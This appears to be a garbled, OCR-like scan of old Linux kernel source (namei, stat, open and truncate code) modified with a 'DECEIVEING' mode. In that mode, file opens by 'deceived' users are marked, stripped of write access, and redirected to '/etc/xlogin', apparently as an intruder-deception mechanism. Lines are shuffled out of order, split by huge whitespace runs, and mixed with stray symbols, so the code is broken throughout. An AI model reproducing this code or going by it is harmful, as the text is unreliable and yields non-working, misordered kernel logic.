                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    err = -ENOTDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (!inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        inode = nd->dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    err = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (err)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto out_dput;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (IS_ERR(dentry)
case 1:
                                                                                                                                                                                               default:
                                                                                                                                                                                                                                                goto lookup_parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          dput(dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   err = do_follow_link(dentry, nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           goto return_err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                break;
                                                                                                                       if (this.name[1] !=
                                                                                                                                                                       break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     break;
                                            inode = nd->dentry->d_inode;
                                                                follow_dotdot(nd);
                       /* fallthrough */
```

```
return_base:
                                                                                                                                                                                                                                                                                                                                                                                            lookup_parent:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              no_inode:
         break;
                                                                                                                                                                             else if (this.len == 2 && this.name[1] == '.')
                                                                                                                                                                                                                                                                                                                                                                                                                        goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                             err = -ENOENT;
if (lookup_flags & (LOOKUP_POSITIVE|LOOKUP_DIRECTORY))
                                                                                              return 0;
                                                                                                                                                                                                                                                                                                                                                            nd->last = this;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       while (d_mountpoint(dentry) && __follow_down(&nd->mnt, &dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (!dentry) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (nd->dentry->d_op && nd->dentry->d_op->d_hash) {
                                    dput (dentry);
                                                                                                                                                                                                                                         if (this.len == 1)
                                                                                                                                                                                                                                                                                                       nd->last_type = LAST_NORM;
if (this.name[0] != '.')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (lookup_flags & LOOKUP_DIRECTORY) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (!inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            err = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if ((lookup_flags & LOOKUP_FOLLOW)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               dentry = cached_lookup(nd->dentry, &this, 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    inode = dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  else ·
                                                                                                                                                                                                                  nd->Last_type = LAST_DOT;
                                                                                                                                                                                                                                                                         goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (!inode->i_op || !inode->i_op->lookup)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (IS_ERR(dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dentry = real_lookup(nd->dentry, &this, 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              err = nd->dentry->d_op->d_hash(nd->dentry, &this);
                                                                                                                                                   nd->last_type = LAST_DOTDOT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           err = -ENOTDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                goto no_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 dput (nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           inode = nd->dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                dput (dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       err = do_follow_link(dentry, nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               err = PTR_ERR(dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (err < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   && inode && inode->i_op && inode->i_op->follow_link) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto return_err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   static long cp_new_stat64(struct inode * inode, struct stat64
                                                                                                                                                                                                                                                                                                                                                                                                                                                    accurate)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 statbuf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return_err:
                                                                                   blocks.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   #ifdef STAT64_HAS_BROKEN_ST_INO
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       int my_path_walk(const char * name, struct nameidata
                                                                                                                                                                                                                                                             * count is now exact for the minix fs except that it counts zero
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         * this simple algorithm to get a reasonable (although not 100%
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                * be counted explicitly (by delving into the file itself), or by
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           * st_blocks and st_blksize are approximated with a simple algorithm
                                                                                                                                                                          * tmp.st_blksize.
                                                                                                                                                                                                                                                                                                                         * Use minix fs values for the number of direct and indirect blocks
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   * they aren't supported directly by the filesystem.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            * filesystems don't keep track of blocks, so they would either have
                                                                                                                                                                                                    * Everything is in units of BLOCK_SIZE until the assignment to
                                                                                                                                                                                                                                                                                                                                                                                                                      * value.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct stat64 tmp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             path_release(nd);
                                                            if (!inode->i_blksize) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          tmp.st_atime = inode->i_atime;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 tmp.st_gid = inode->i_gid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               tmp.st_uid = inode->i_uid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                tmp.st_mode = inode->i_mode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           tmp.st_dev = kdev_t_to_nr(inode->i_dev);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           memset(&tmp, 0, sizeof(tmp));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       unsigned int blocks, indirect;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return my_link_path_walk(name, nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  current->total_link_count = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         tmp.st_size = inode->i_size;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       tmp.st_ctime = inode->i_ctime;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 tmp.st_mtime = inode->i_mtime;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        tmp.st_rdev = kdev_t_to_nr(inode->i_rdev);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                tmp.st_nlink = inode->i_nlink;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   tmp.__st_ino = inode->i_ino;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 tmp.st_ino = inode->i_ino;
                              blocks = (tmp.st_size + BLOCK_SIZE - 1) >> BLOCK_SIZE_BITS;
if (blocks > D_B) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      The minix and
```

```
do_revalidate(struct dentry *dentry)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           static __inline__
                                                                                                                                                                                                                                                                                                                      struct file *my_filp_open(const char * filename, int flags, int mode)
                                                                                                                                                                                                                                                                                                                                                                                    nameidata *nd);
                                                                                                                                                                                                                                                                                                                                                                                                                int my_open_namei(const char * pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int my__user_walk(const char *name, unsigned flags, struct nameidata
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           /printk("*");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     char *tmp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct inode * inode = dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return copy_to_user(statbuf,&tmp,sizeof(tmp)) ? -EFAULT :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (!IS_ERR(tmp)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      err = PTR_ERR(tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (inode->i_op && inode->i_op->revalidate)
                         error = my_open_namei(filename, namei_flags, mode, &nd);
                                                                                                                                                                                                         struct file * retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tmp = getname(name);
  if (!error)
                                                                                   if (namei_flags & O_TRUNC)
                                                                                                                                             if ((namei_flags+1) & O_ACCMODE)
                                                                                                                                                                           namei_flags = flags;
                                                                                                                                                                                                                                  struct nameidata nd;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return err;
                                                                                                                                                                                                                                                                   int namei_flags, error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (my_path_init(tmp, flags, nd))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return inode->i_op->revalidate(dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tmp.st_blocks = inode->i_blocks;
                                                                                                                   namei_flags++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    putname(tmp);
                                                         namei_flags
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            err = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tmp.st_blksize = inode->i_blksize;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            tmp.st_blksize =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   tmp.st_blocks = (BLOCK_SIZE / 512) * blocks;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (indirect > 1) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               blocks += indirect;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             indirect = (blocks -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                err = my_path_walk(tmp, nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (indirect > 1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       blocks += indirect;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     indirect = (indirect -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                blocks++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .
int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            BLOCK_SIZE;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             D_B +
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     \vdash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        +
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     I_B -
                                                                                                                                                                                                                                                                                                                                                                                                                int flag,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1) / I_B;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     1) / I_B
                                                                                                                                                                                                                                                                                                                                                                                                                  int mode, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     deception.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             // printk("\n--marking aft:%s (%x)",filename,retval->f_flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       object
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 USING_PERM))&(~((0x3FFFFFFF>>(31-USING_PERM))<<(31-USING_PERM)));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        deception.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  should
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               \prime^{\star} this is where the file object gets marked for read or write
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int my_do_truncate(struct dentry *dentry, loff_t length)
                                                                                                                                          int locks_mandatory_locked(struct inode
                                                                                                                                                                                                                                                                                                                                                                                                                                            down(&inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                  newattrs.ia_size = length;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (length < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct lattr newattrs;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct inode *inode =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (error==MARK_FILE) {
                                                                                                                                                                                                                                                                                                                                                                                    newattrs.ia_valid = ATTR_SIZE | ATTR_CTIME;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return ERR_PTR(error);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                //dcvn
                                                       struct file_lock *fl;
                                                                                 fl_owner_t' owner = current->files
                                                                                                                                                                                                         return error;
                                                                                                                                                                                                                                  up(&inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                           if (DECEIVEING)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* Not pretty: "inode->i_size" shouldn't really be signed.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      retval=dentry_open(nd.dentry, nd.mmt, flags);
printk("\n--marking bef:%s (%x)",filename,retval->f_flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          all this happens in
Search the lock list for this inode for any POSIX locks
                                                                                                                                                                                                                                                                                                                             error=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             retval->f_mode&=~2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               retval->f_flags|=(((int)~nd.dentry->d_inode->i_mode)<<(31-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if the file is not USING_PERM writeable, it is marked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if the file is not USING_PERM readable, it is marked for read
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          determine the deception: owner, group or others.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 the USING_PERM constant determines which permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    be marked.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              the file's permission bits are used to determine how the file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if open_namei() passes back a special return value (MARK_FILE)
                                                                                                                                                                                                                                                            error = notify_change(dentry, &newattrs);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return dentry_open(nd.dentry, nd.mnt, flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   mark file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dentry->d_inode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        one long and beautiful line below.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      are used
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    for write
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    But
```

```
static inline int lookup_flags(unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                           again:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int my_open_namei(const char * pathname, int flag, int mode, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                /* if(DECEIVEING&&(acc_mode&MAY_WRITE)){
                                                                                                                                                                                                                                                                                                                                                                                                                                    //printk("\n--opn_namei: %s", pathname);
again: acc_mode = ACC_MODE(flag);
                                                                                                            if(error==-EACCES||error==-EPERM) //dcvn -- may not be needed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           char again_flag=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  char fixed_file[12] = "/etc/xlogin";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char dfile_flag=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (f & O_DIRECTORY)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if ((f & (O_CREAT|O_EXCL)) ==
                                                                                                                                                                                                if (!(flag & O_CREAT)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* if a deceived user tries to create a file, fixed_file is opened
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int count = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct dentry *dir;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            struct dentry *dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct inode *inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int acc_mode, error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unsigned long retval = LOOKUP_FOLLOW
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return fl ? -EAGAIN : 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          for (fl = inode->i_flock; fl != NULL; fl =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      *
                                                                                                                                                                                                                                              * The simplest case - just a plain lookup.
                                                              printk("\n--
